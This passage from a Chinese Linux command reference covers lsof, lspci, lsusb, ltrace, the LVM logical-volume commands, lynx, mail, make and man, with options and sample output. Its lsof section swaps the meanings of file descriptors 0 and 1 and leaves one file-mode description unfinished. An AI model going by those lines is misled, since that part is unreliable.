ksoftirqd     3 root  txt   unknown                                        /proc/3/exe
migration     4 root  cwd       DIR                8,2     4096          2 /
migration     4 root  rtd       DIR                8,2     4096          2 /
migration     4 root  txt   unknown                                        /proc/4/exe
ksoftirqd     5 root  cwd       DIR                8,2     4096          2 /
ksoftirqd     5 root  rtd       DIR                8,2     4096          2 /
ksoftirqd     5 root  txt   unknown                                        /proc/5/exe
events/0      6 root  cwd       DIR                8,2     4096          2 /
events/0      6 root  rtd       DIR                8,2     4096          2 /
events/0      6 root  txt   unknown                                        /proc/6/exe
events/1      7 root  cwd       DIR                8,2     4096          2 /
```

 "lsof输出各列信息的意义如下:"

*   COMMAND:进程的名称
*   PID:进程标识符
*   PPID:父进程标识符(需要指定-R参数)
*   USER:进程所有者
*   PGID:进程所属组
*   FD:文件描述符,应用程序通过文件描述符识别该文件。

文件描述符列表:

1.  cwd:表示current work dirctory,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改
2.  txt:该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序
3.  lnn:library references (AIX);
4.  er:FD information error (see NAME column);
5.  jld:jail directory (FreeBSD);
6.  ltx:shared library text (code and data);
7.  mxx :hex memory-mapped type number xx.
8.  m86:DOS Merge mapped file;
9.  mem:memory-mapped file;
10.  mmap:memory-mapped device;
11.  pd:parent directory;
12.  rtd:root directory;
13.  tr:kernel trace file (OpenBSD);
14.  v86  VP/ix mapped file;
15.  0:表示标准输出
16.  1:表示标准输入
17.  2:表示标准错误

一般在标准输出、标准错误、标准输入后还跟着文件状态模式:

1.  u:表示该文件被打开并处于读取/写入模式。
2.  r:表示该文件被打开并处于只读模式。
3.  w:表示该文件被打开并处于。
4.  空格:表示该文件的状态模式为unknow,且没有锁定。
5.  -:表示该文件的状态模式为unknow,且被锁定。

同时在文件状态模式后面,还跟着相关的锁:

1.  N:for a Solaris NFS lock of unknown type;
2.  r:for read lock on part of the file;
3.  R:for a read lock on the entire file;
4.  w:for a write lock on part of the file;(文件的部分写锁)
5.  W:for a write lock on the entire file;(整个文件的写锁)
6.  u:for a read and write lock of any length;
7.  U:for a lock of unknown type;
8.  x:for an SCO OpenServer Xenix lock on part      of the file;
9.  X:for an SCO OpenServer Xenix lock on the      entire file;
10.  space:if there is no lock.

文件类型:

1.  DIR:表示目录。
2.  CHR:表示字符类型。
3.  BLK:块设备类型。
4.  UNIX: UNIX 域套接字。
5.  FIFO:先进先出 (FIFO) 队列。
6.  IPv4:网际协议 (IP) 套接字。
7.  DEVICE:指定磁盘的名称
8.  SIZE:文件的大小
9.  NODE:索引节点(文件在磁盘上的标识)
10.  NAME:打开文件的确切名称

列出指定进程号所打开的文件:

```
lsof -p $pid
```

获取端口对应的进程ID=>pid

```
lsof -i:9981 -P -t -sTCP:LISTEN
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lspci
===

显示当前主机的所有PCI总线信息

</div>

!! 补充说明

:<div>


"lspci命令" 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。

</div>

!! 语法  

:<div>


```
lspci(选项)
```

</div>

!! 选项  

:<div>


```
-n:以数字方式显示PCI厂商和设备代码;
-t:以树状结构显示PCI设备的层次关系,包括所有的总线、桥、设备以及它们之间的联接;
-b:以总线为中心的视图;
-d:仅显示给定厂商和设备的信息;
-s:仅显示指定总线、插槽上的设备和设备上的功能块信息;
-i:指定PCI编号列表文件,而不使用默认的文件;
-m:以机器可读方式显示PCI设备信息。
```

</div>

!! 实例  

:<div>


```
[root@localhost ~]# lspci
00:00.0 host bridge: Intel Corporation 5500 I/O Hub to ESI Port (rev 22)
00:01.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 1 (rev 22)
00:02.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 2 (rev 22)
00:03.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 3 (rev 22)
00:07.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 7 (rev 22)
00:08.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 8 (rev 22)
00:09.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 9 (rev 22)
00:0a.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 10 (rev 22)
00:10.0 PIC: Intel Corporation 5520/5500/X58 Physical and Link Layer Registers Port 0 (rev 22)
00:10.1 PIC: Intel Corporation 5520/5500/X58 Routing and Protocol Layer Registers Port 0 (rev 22)
00:11.0 PIC: Intel Corporation 5520/5500 Physical and Link Layer Registers Port 1 (rev 22)
00:11.1 PIC: Intel Corporation 5520/5500 Routing & Protocol Layer Register Port 1 (rev 22)
00:14.0 PIC: Intel Corporation 5520/5500/X58 I/O Hub System Management Registers (rev 22)
00:14.1 PIC: Intel Corporation 5520/5500/X58 I/O Hub GPIO and Scratch Pad Registers (rev 22)
00:14.2 PIC: Intel Corporation 5520/5500/X58 I/O Hub Control Status and RAS Registers (rev 22)
00:14.3 PIC: Intel Corporation 5520/5500/X58 I/O Hub Throttle Registers (rev 22)
00:16.0 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
00:16.1 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
00:16.2 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
00:16.3 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
00:16.4 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
00:16.5 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
00:16.6 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
00:16.7 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22)
00:1a.0 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #4
00:1a.1 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #5
00:1a.7 USB controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #2
00:1b.0 Audio device: Intel Corporation 82801JI (ICH10 Family) HD Audio Controller
00:1c.0 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 1
00:1c.4 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 5
00:1c.5 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 6
00:1d.0 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #1
00:1d.1 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #2
00:1d.2 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #3
00:1d.3 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #6
00:1d.7 USB controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #1
00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev 90)
00:1f.0 ISA bridge: Intel Corporation 82801JIR (ICH10R) lpc Interface Controller
00:1f.2 IDE interface: Intel Corporation 82801JI (ICH10 Family) 4 port SATA IDE Controller #1
00:1f.3 SMBus: Intel Corporation 82801JI (ICH10 Family) SMBus Controller
00:1f.5 IDE interface: Intel Corporation 82801JI (ICH10 Family) 2 port SATA IDE Controller #2
01:01.0 VGA compatible controller: ASPEED Technology, Inc. ASPEED Graphics Family (rev 10)
02:00.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection
03:00.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection
04:00.0 Serial Attached SCSI controller: LSI Logic / Symbios Logic SAS2008 PCI-Express Fusion-MPT SAS-2 [Falcon] (rev 03)
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lsusb
===

显示本机的USB设备列表信息

</div>

!! 补充说明

:<div>


"lsusb命令" 用于显示本机的USB设备列表,以及USB设备的详细信息。

lsusb命令是一个学习USB驱动开发,认识USB设备的助手,推荐大家使用,如果您的开发板中或者产品中没有lsusb命令可以自己移植一个,放到文件系统里面。

</div>

!! 语法  

:<div>


```
lsusb(选项)
```

</div>

!! 选项  

:<div>


```
-v:显示USB设备的详细信息;
-s<总线:设备号>仅显示指定的总线和(或)设备号的设备;
-d<厂商:产品>:仅显示指定厂商和产品编号的设备;
-t:以树状结构显示无理USB设备的层次;
-V:显示命令的版本信息。
```

</div>

!! 实例  

:<div>


插入usb鼠标后执行lsusb的输出内容如下:

```
Bus 005 Device 001: id 0000:0000 
Bus 001 Device 001: ID 0000:0000 
Bus 004 Device 001: ID 0000:0000 
Bus 003 Device 001: ID 0000:0000 
Bus 002 Device 006: ID 15d9:0a37 
Bus 002 Device 001: ID 0000:0000 
```

解释:

 "Bus 005" 

表示第五个usb主控制器(机器上总共有5个usb主控制器 -- 可以通过命令lspci | grep USB查看)

 "Device 006" 

表示系统给usb鼠标分配的设备号(devnum),同时也可以看到该鼠标是插入到了第二个usb主控制器

```
006        usb_device.devnum
/sys/devices/pci0000:00/0000:00:1d.1/usb2/2-2/devnum
```

 "ID 15d9:0a37" 

表示usb设备的ID(这个ID由芯片制造商设置,可以唯一表示该设备)

```
15d9    usb_device_descriptor.idVendor
0a37    usb_device_descriptor.idProduct
/sys/devices/pci0000:00/0000:00:1d.1/usb2/2-2/idVendor
```

"Bus 002 Device 006: ID 15d9:0a37  
Bus 002 Device 001: ID 0000:0000"

表示002号usb主控制器上接入了两个设备:

*   一个是usb根Hub -- 001 
*   一个是usb鼠标  -- 006


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ltrace
===

用来跟踪进程调用库函数的情况

</div>

!! 补充说明

:<div>


"ltrace命令" 是用来跟踪进程调用库函数的情况。

</div>

!! 语法  

:<div>


```
ltrace [option ...] [command [arg ...]]
```

</div>

!! 选项  

:<div>


```
-a 对齐具体某个列的返回值。
-c 计算时间和调用,并在程序退出时打印摘要。
-C 解码低级别名称(内核级)为用户级名称。
-d 打印调试信息。
-e 改变跟踪的事件。
-f 跟踪子进程。
-h 打印帮助信息。
-i 打印指令指针,当库调用时。
-l 只打印某个库中的调用。
-L 不打印库调用。
-n, --indent=NR 对每个调用级别嵌套以NR个空格进行缩进输出。
-o, --output=file 把输出定向到文件。
-p PID 附着在值为PID的进程号上进行ltrace。
-r 打印相对时间戳。
-s STRLEN 设置打印的字符串最大长度。
-S 显示系统调用。
-t, -tt, -ttt 打印绝对时间戳。
-T 输出每个调用过程的时间开销。
-u USERNAME 使用某个用户id或组ID来运行命令。
-V, --version 打印版本信息,然后退出。
-x NAME treat the global NAME like a library subroutine.(求翻译)
```

</div>

!! 实例  

:<div>


最基本应用,不带任何参数:

```
[guest@localhost tmp]$ ltrace ./a.out
__libc_start_main(0x80484aa, 1, 0xbfc07744, 0x8048550, 0x8048540 <unfinished ...>
printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24
printf("no1:%d \t no2:%d \t diff:%d\n", 9, 7, 2no1:9 no2:7 diff:2 ) = 23
printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23
--- SIGFPE (Floating point exception) ---
+++ killed by SIGFPE +++
```

输出调用时间开销:

```
[guest@localhost tmp]$ ltrace -T ./a.out
__libc_start_main(0x80484aa, 1, 0xbf81d394, 0x8048550, 0x8048540 <unfinished ...>
printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24 <0.000972>
printf("no1:%d \t no2:%d \t diff:%d\n", 9, 7, 2no1:9 no2:7 diff:2 ) = 23 <0.000155>
printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23 <0.000153>
--- SIGFPE (Floating point exception) ---
+++ killed by SIGFPE +++
```

显示系统调用:

```
[guest@localhost tmp]$ ltrace -S ./a.out
SYS_brk(NULL) = 0x9e20000
SYS_access(0xa4710f, 4, 0xa4afc0, 0, 0xa4b644) = 0
SYS_open("/etc/ld.so.preload", 0, 02) = 3
SYS_fstat64(3, 0xbfbd7a94, 0xa4afc0, -1, 3) = 0
SYS_mmap2(0, 17, 3, 2, 3) = 0xb7f2a000
SYS_close(3) = 0
SYS_open("/lib/libcwait.so", 0, 00) = 3
SYS_read(3, "\177ELF\001\001\001", 512) = 512
SYS_fstat64(3, 0xbfbd76fc, 0xa4afc0, 4, 0xa4b658) = 0
SYS_mmap2(0, 4096, 3, 34, -1) = 0xb7f29000
SYS_mmap2(0, 5544, 5, 2050, 3) = 0x423000
SYS_mmap2(0x424000, 4096, 3, 2066, 3) = 0x424000
.............省去若干行
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lvcreate
===

用于创建LVM的逻辑卷

</div>

!! 补充说明

:<div>


"lvcreate命令" 用于创建LVM的逻辑卷。逻辑卷是创建在卷组之上的。逻辑卷对应的设备文件保存在卷组目录下,例如:在卷组"vg1000"上创建一个逻辑卷"lvol0",则此逻辑卷对应的设备文件为"/dev/vg1000/lvol0"。

</div>

!! 语法  

:<div>


```
lvcreate(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
-l:指定逻辑卷的大小(LE数)。
```

</div>

!! 参数  

:<div>


逻辑卷:指定要创建的逻辑卷名称。

</div>

!! 实例  

:<div>


使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令:

```
[root@localhost ~]# lvcreate -L 200M vg1000    #创建大小为200M的逻辑卷
```

输出信息如下:

```
Logical volume "lvol0" created
```

说明:创建成功后,新的逻辑卷"lvol0",将通过设备文件`/dev/vg1000/lvol0`进行访问。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lvdisplay
===

显示逻辑卷属性

</div>

!! 补充说明

:<div>


"lvdisplay命令" 用于显示LVM逻辑卷空间大小、读写状态和快照信息等属性。如果省略"逻辑卷"参数,则lvdisplay命令显示所有的逻辑卷属性。否则,仅显示指定的逻辑卷属性。

</div>

!! 语法  

:<div>


```
lvdisplay(参数)
```

</div>

!! 参数  

:<div>


逻辑卷:指定要显示属性的逻辑卷对应的设备文件。

</div>

!! 实例  

:<div>


使用lvdisplay命令显示指定逻辑卷的属性。在命令行中输入下面的命令:

```
[root@localhost ~]# lvdisplay /dev/vg1000/lvol0     #显示逻辑卷属性
```

输出信息如下:

```
  --- Logical volume ---  
  LV Name                /dev/vg1000/lvol0  
......省略部分输出内容......  
  Block device           253:0
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lvextend
===

扩展逻辑卷空间

</div>

!! 补充说明

:<div>


"lvextend命令" 用于在线扩展逻辑卷的空间大小,而不中断应用程序对逻辑卷的访问。使用lvextend命令动态在线扩展磁盘空间,整个空间扩展过程对于应用程序来说是完全透明的。

</div>

!! 语法  

:<div>


```
lvextend(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
-l:指定逻辑卷的大小(LE数)。
```

</div>

!! 参数  

:<div>


逻辑卷:指定要扩展空间的逻辑卷。

</div>

!! 实例  

:<div>


使用lvextend命令为逻辑卷`/dev/vg1000/lvol0`增加100M空间。在命令行中输入下面的命令:

```
[root@localhost ~]# lvextend -L +100M /dev/vg1000/lvol0    #为了解决增加100M空间
```

输出信息如下:

```
Extending logical volume lvol0 to 300.00 MB  
Logical volume lvol0 successfully resized
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lvreduce
===

收缩逻辑卷空间

</div>

!! 补充说明

:<div>


"lvreduce命令" 用于减少LVM逻辑卷占用的空间大小。使用lvreduce命令收缩逻辑卷的空间大小有可能会删除逻辑卷上已有的数据,所以在操作前必须进行确认。

</div>

!! 语法  

:<div>


```
lvreduce(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
-l:指定逻辑卷的大小(LE数)。
```

</div>

!! 参数  

:<div>


逻辑卷:指定要操作的逻辑卷对应的设备文件。

</div>

!! 实例  

:<div>


使用lvreduce命令减少指定的逻辑卷的空间大小。在命令行中输入下面的命令:

```
[root@localhost ~]# lvreduce -L -50M /dev/vg1000/lvol0     #将逻辑卷的空间大小减少50M
```

输出信息如下:

```
......省略部分输出内容......  
Do you really want to reduce lvol0? [y/n]: y  #确认操作  
  Reducing logical volume lvol0 to 252.00 MB  
  Logical volume lvol0 successfully resized
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lvremove
===

删除指定LVM逻辑卷

</div>

!! 补充说明

:<div>


"lvremove命令" 用于删除指定LVM逻辑卷。如果逻辑卷已经使用mount命令加载,则不能使用lvremove命令删除。必须使用umount命令卸载后,逻辑卷方可被删除。

</div>

!! 语法  

:<div>


```
lvremove(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:强制删除。
```

</div>

!! 参数  

:<div>


逻辑卷:指定要删除的逻辑卷。

</div>

!! 实例  

:<div>


使用lvremove命令删除指定的逻辑卷。在命令行中输入下面的命令:

```
[root@localhost ~]# lvremove /dev/vg1000/lvol0    #删除逻辑卷"lvol0"
```

输出信息如下:

```
Do you really want to remove active logical 
volume "lvol0"? [y/n]: y    #确认删除
  Logical volume "lvol0" successfully removed
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lvresize
===

调整逻辑卷空间大小

</div>

!! 补充说明

:<div>


"lvresize命令" 用于调整LVM逻辑卷的空间大小,可以增大空间和缩小空间。使用lvresize命令调整逻辑卷空间大小和缩小空间时需要谨慎,因为它有可能导致数据丢失。

</div>

!! 语法  

:<div>


```
lvresize(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
-l:指定逻辑卷的大小(LE数)。
```

</div>

!! 参数  

:<div>


逻辑卷:指定要删除的逻辑卷。

</div>

!! 实例  

:<div>


使用lvresize命令调整最大的逻辑卷大小。在命令行中输入下面的命令:

```
[root@localhost ~]# lvresize -L +200M /dev/vg1000/lvol0     #将逻辑卷空间增加200M
```

输出信息如下:

```
Extending logical volume lvol0 to 280.00 MB
Logical volume lvol0 successfully resized
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
;lvscan命令用于扫描当前系统中存在的所有的LVM逻辑卷。
:使用lvscan指令可以发现系统中的所有逻辑卷,及其对应的设备文件。


*选项
:<div>

```
-b:显示逻辑卷的主设备和次设备号。
```
<div>
!!简介
:<div>
lynx
===

纯文本模式的网页浏览器

</div>

!! 补充说明

:<div>


"lynx命令" 是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息。

</div>

!! 语法  

:<div>


```
lynx(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-case:在搜索字符串时,区分大小写;
-ftp:关闭ftp功能;
-nobrowse:关闭目录浏览功能;
-noclor:关闭色彩显示模式;
-reload:更新代理服务器的缓存,只对首页有效;
--color:如果系统支持彩色模式,则激活彩色模式;
--help:显示指令的帮助信息;
--versiom:显示指令的版本信息。
```

</div>

!! 参数  

:<div>


URL:指定要访问的网站的URL地址。

</div>

!! 内部命令  

:<div>


 "移动命令" 

```
下方向键:页面上的下一个链接(用高亮度显示)。
上方向键:页面上的前一个链接(用高亮度显示)。
回车和右方向键:跳转到链接指向的地址。
左方向键:回到上一个页面。
```

 "滚动命令" 

```
+、Page-Down、Space、Ctrl+f:向下翻页。
-、Page-Up、b、Ctrl+b:向上翻页。
Ctrl+a:移动到当前页的最前面。
Ctrl+e:移动到当前页的最后面。
Ctrl+n:向下翻两行。
Ctrl+p:往回翻两行。
):向下翻半页。
(:往回翻半页。
#:回到当前页的 Toolbar 或 Banner。
```

 "文件操作命令" 

```
c:建立一个新文件。
d:下载选中的文件。
E:编辑选中的文件。
f:为当前文件显示一个选项菜单。
m:修改选中文件的名字或位置。
r:删除选中的文件。
t:Tag highlighted file。
u:上载一个文件到当前目录。
```

 "其他命令" 

```
?、h:帮助。
a:把当前链接加入到一个书签文件里。
c:向页面的拥有者发送意见或建议。
d:下载当前链接。
e:编辑当前文件。
g:跳转到一个用户 指定的URL或文件。
G:编辑当前页的URL,并跳转到这个URL。
i:显示文档索引。
j:执行预先定义的“短”命令。
k:显示键盘命令列表。
l:列出当前页上所有链接的地址。
m:回到首页 。
o:设置选项。
p:把当前页输出到文件,e-mail,打印机或其他地方。
q:退出。
/:在当前页内查找字符串。
s:在外部搜索输入的字符串。
n:搜索下一个。
v:查看一个书签文件。
V:跳转到访问过的地址。
x:不使用缓存。
z:停止当前传输。
[backspace]:跳转到历史页(同 V 命令)。
=:显示当前页的信息。
:查看当前页的源代码。
!:回到shell提示符下。
_:清除当前任务的所有授权信息。
*:图形链接模式的切换开关。
@:8位传输模式或CJK模式的切换开关。
[:pseudo_inlines 模式的切换开关。
]:为当前页或当前链接发送一个“head”请求。
Ctrl+r:重新装如当前页并且刷新屏幕。
Ctrl+w:刷新屏幕。
Ctrl+u:删除输入的行。
Ctrl+g:取消输入或者传送。
Ctrl+t:跟踪模式的切换开关。
;:看Lynx对当前任务的跟踪记录。
Ctrl+k:调用 Cookie Jar 页。
数字键:到后面的第 n 个链接。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mail
===

命令行下发送和接收电子邮件

</div>

!! 补充说明

:<div>


"mail命令" 是命令行的电子邮件发送和接收工具。操作的界面不像elm或pine那么容易使用,但功能非常完整。

</div>

!! 语法  

:<div>


```
mail(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b<地址>:指定密件副本的收信人地址;
-c<地址>:指定副本的收信人地址;
-f<邮件文件>:读取指定邮件文件中的邮件;
-i:不显示终端发出的信息;
-I:使用互动模式;
-n:程序使用时,不使用mail.rc文件中的设置;
-N:阅读邮件时,不显示邮件的标题;
-s<邮件主题>:指定邮件的主题;
-u<用户帐号>:读取指定用户的邮件;
-v:执行时,显示详细的信息。
```

</div>

!! 参数  

:<div>


邮件地址:收信人的电子邮箱地址。

</div>

!! 实例  

:<div>


 "直接使用shell当编辑器" 

```
mail -s "Hello from jsdig.com by shell" admin@jsdig.com
hello,this is the content of mail.
welcome to www.jsdig.com
```

第一行是输入的命令,`-s`表示邮件的主题,后面的`admin@jsdig.com`则是邮件的接收人,输入完这行命令后回车,会进入邮件正文的编写,我们可以输入任何文字,比如上面的两行。当邮件正文输入完成后,需要按 "CTRL+D" 结束输入,此时会提示你输入Cc地址,即邮件抄送地址,没有直接回车就完成了邮件的发送。

 "使用管道进行邮件发送" 

```
echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hello from jsdig.com by pipe" admin@jsdig.com
```

使用管道直接敲入这行命令即可完成邮件的发送,其中echo后的是邮件正文。

 "使用文件进行邮件发送" 

```
mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt
```

使用上面的命令后,我们就可以把mail.txt文件的内容作为邮件的内容发送给admin@jsdig.com了。

使用上述三种方式都可以给外部邮箱进行邮件发送,但因为前面2中都是直接在shell中敲入邮件内容,因此无法输入中文,即使我们使用粘贴的方式输入了中文,那么收到的邮件也是乱码的。但第3种方式,我们可以在window下编辑好邮件内容后,放到linux下,再进行发送,这样就可以正常发送中文了。不过目前邮件的中文标题暂时没有找到解决办法。

因为mail程序本身就是调用sendmail来进行邮件发送的,因此我们可以在mail命令中使用sendmail的参数进行配置,比如我想使用特定的发件人发送邮件,可以使用如下命令:

```
mail -s "Hello from jsdig.com with sender" admin@jsdig.com -- -f user@jsdig.com<mail.txt
```

上面的命令中,我们使用了– -f user@jsdig.com这样的参数,这是sendmail的选项,其中-f表示邮件的发送人邮件地址。

很多情况下,我们也需要使用邮件来发送附件,在linux下使用mail命令发送附件也很简单,不过首先需要安装uuencode软件包,这个程序是对二进制文件进行编码使其适合通过邮件进行发送,在CentOS上安装该软件包如下:

```
yum install sharutils
```

安装完成后我们就可以来进行附件的发送了,使用如下命令:

```
uuencode test.txt test | mail -s "hello,see the attachement" admin@jsdig.com<mail.txt
```

完成后就可以把text.txt文件作为邮件的附件发送出去了。uuencode有两个参数,第一个是要发送的文件,第二个是显示的文件名称。

这里我主要介绍的是在CentOS下使用mail发送电子邮件的一些使用方法,需要的要求是你的linux必须安装了sendmail并开启了,同时保证可以连接外网。另外,文章中提到的命令本人都经过亲自测试,保证完全可用,不过你需要将命令中的电子邮件地址换成自己的电子邮件地址。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mailq
===

显示待发送的邮件队列

</div>

!! 补充说明

:<div>


"mailq命令" 用户显示待发送的邮件队列,显示的每一个条目包括邮件队列id、邮件大小、加入队列时间、邮件发送者和接受者。如果邮件最后一次尝试后还没有将邮件投递出去,则显示发送失败的原因。

</div>

!! 语法  

:<div>


```
mailq(选项)
```

</div>

!! 选项  

:<div>


```
-v:显示详细的信息。
```

</div>

!! 实例  

:<div>


```
[root@localhost ~]# mailq -v
/var/spool/mqueue is empty
                Total requests: 0
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mailstat
===

显示到达的邮件状态

</div>

!! 补充说明

:<div>


"mailstat命令" 用来显示到达的邮件状态。

</div>

!! 语法  

:<div>


```
mailstat(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-k:保持邮件日志文件的完整性,不清空日志文件;
-l:使用长格式显示邮件状态;
-m:合并任何错误信息到一行中显示;
-o:使用老的邮件日志邮件;
-t:使用简洁的格式显示邮件状态;
-s:如果没有邮件则不输出任何信息。
```

</div>

!! 参数  

:<div>


邮件日志文件:指定要读取邮件日志文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
make
===

GNU的工程化编译工具

</div>

!! 补充说明

:<div>


"make命令" 是GNU的工程化编译工具,用于编译众多相互关联的源代码问价,以实现工程化的管理,提高开发效率。

</div>

!! 语法  

:<div>


```
make(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:指定“makefile”文件;
-i:忽略命令执行返回的出错信息;
-s:沉默模式,在执行之前不输出相应的命令行信息;
-r:禁止使用build-in规则;
-n:非执行模式,输出所有执行命令,但并不执行;
-t:更新目标文件;
-q:make操作将根据目标文件是否已经更新返回"0"或非"0"的状态信息;
-p:输出所有宏定义和目标文件描述;
-d:Debug模式,输出有关文件和检测时间的详细信息。
```

Linux下常用选项与Unix系统中稍有不同,下面是不同的部分:

```
-c dir:在读取 makefile 之前改变到指定的目录dir;
-I dir:当包含其他 makefile文件时,利用该选项指定搜索目录;
-h:help文挡,显示所有的make选项;
-w:在处理 makefile 之前和之后,都显示工作目录。
```

</div>

!! 参数  

:<div>


目标:指定编译目标。

</div>

!! 知识扩展  

:<div>


无论是在linux 还是在Unix环境 中,make都是一个非常重要的编译命令。不管是自己进行项目开发还是安装应用软件,我们都经常要用到make或make install。利用make工具,我们可以将大型的开发项目分解成为多个更易于管理的模块,对于一个包括几百个源文件的应用程序,使用make和 makefile工具就可以简洁明快地理顺各个源文件之间纷繁复杂的相互关系。

而且如此多的源文件,如果每次都要键入gcc命令进行编译的话,那对程序员 来说简直就是一场灾难。而make工具则可自动完成编译工作,并且可以只对程序员在上次编译后修改过的部分进行编译。

因此,有效的利用make和 makefile工具可以大大提高项目开发的效率。同时掌握make和makefile之后,您也不会再面对着Linux下的应用软件手足无措了。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

* exp <pre>

```bash
man -f <cmd>

#查询哪些章节有命令的帮助
whatis <cmd>
# 查询
man CHAPTER COMMAND

# search 

% down
?   up
space pagedown
q  exit

#config file
/etc/manconfig
/etc/man_dbconfig
#第三方程序
#手动修改manpath

#中文帮助
yum install man-pages-zh-CN


# 查询man路径
whereis ls


```
</pre>

* desc<pre>

 使用手册(manual),手册压缩格式的文件,有章节之分。手册分为man1-man8。

        man1:用户命令;man2:系统调用;

        man3:C库调用;man4:设备文件及特殊文件;

        man5:文件格式:(配置文件格式); man6:游戏使用帮助;

        man7:杂项;man8:管理工具及守护进行。

        帮助手册路径:/usr/share/man  

        语法格式:#man COMMAND

</pre>

* 结构
** NAME
** SYNOPSIS
** DESCRIPTION
** ENVIRONMENT
** EXAMPLES
** AUTHOR
** COPYRIGHT
** SEE ALSO

* help<pre>

```
#
man -k keyword

#
man -a keyword

#
man -f  keyword

#
man -w <cmd>
```
</pre>
* help<pre>
Usage: mandb [OPTION...] [MANPATH]

  -c, --create               create dbs from scratch, rather than updating
  -C, --config-file=FILE     use this user configuration file
  -d, --debug                emit debugging messages
  -f, --filename=FILENAME    update just the entry for this filename
  -p, --no-purge             don't purge obsolete entries from the dbs
  -q, --quiet                work quietly, except for 'bogus' warning
  -s, --no-straycats         don't look for or add stray cats to the dbs
  -t, --test                 check manual pages for correctness
  -u, --user-db              produce user databases only
  -?, --help                 give this help list
      --usage                give a short usage message
  -V, --version              print program version

Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
</pre>
!!01. Syntax
:<div>

```
